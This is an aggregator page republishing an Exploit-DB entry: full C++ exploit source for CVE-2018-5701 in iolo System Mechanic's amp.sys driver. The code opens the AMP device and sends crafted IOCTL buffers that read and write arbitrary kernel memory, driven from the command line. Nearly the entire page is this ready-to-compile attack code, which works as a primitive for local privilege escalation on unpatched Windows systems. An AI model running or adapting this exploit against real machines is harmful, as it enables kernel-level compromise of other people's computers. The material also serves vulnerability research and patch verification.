4
[local] System Mechanic v15.5.0.61 - Arbitrary Read/Write
source link: https://www.exploit-db.com/exploits/51044
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version - System Mechanic version 15.5.0.61
# Driver Version - 5.4.11 - amp.sys
# Tested on OS - 64 bit Windows 10 (18362)
# Fixed Version - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/
#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)
typedef struct _kernelDriverInformation {
char* imageName;
void* imageBase;
}kernelDriverInformation, * PKernelDriverInformation;
typedef struct _functionInformation {
char* functionName;
void* functionOffset;
void* functionBase;
}functionInformation, * PFunctionInformation;
void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
DWORD bytesReturned;
NTSTATUS status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}
HANDLE getDeviceHandle(char* name) {
DWORD generic_read = 0x80000000;
DWORD generic_write = 0x40000000;
HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
return handle;
}
void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0; // param4
return (void*)maliciousBuffer;
}
void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48); // param4
*(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0; //unknown
*(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
return (void*)maliciousBuffer;
}
void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
byte* maliciousBuffer = (byte*)malloc(bufferSize);
*(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
*(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
*(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value
*(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
*(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16
*(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2
*(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3
*(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40); // param4
*(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
return (void*)maliciousBuffer;
}
DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
//address should now be written in kernel memory
void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
return returnVal;
}
void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
//address should now be written in kernel memory
void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
return;
}
void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);
void** Pqword = (void**)malloc(0x8);
for (int i = 0; i < 4; i++) {
((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
}
return (*(void**)Pqword);
}
void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);
}
int main(int argc, char* argv[])
{
ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);
HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");
SIZE_T size = 0x300;
if (strcmp(argv[1], "read") == 0) {
void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);
printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
}
else if (strcmp(argv[1], "write") == 0) {
ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);
writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);
printf("Wrote %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
}
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK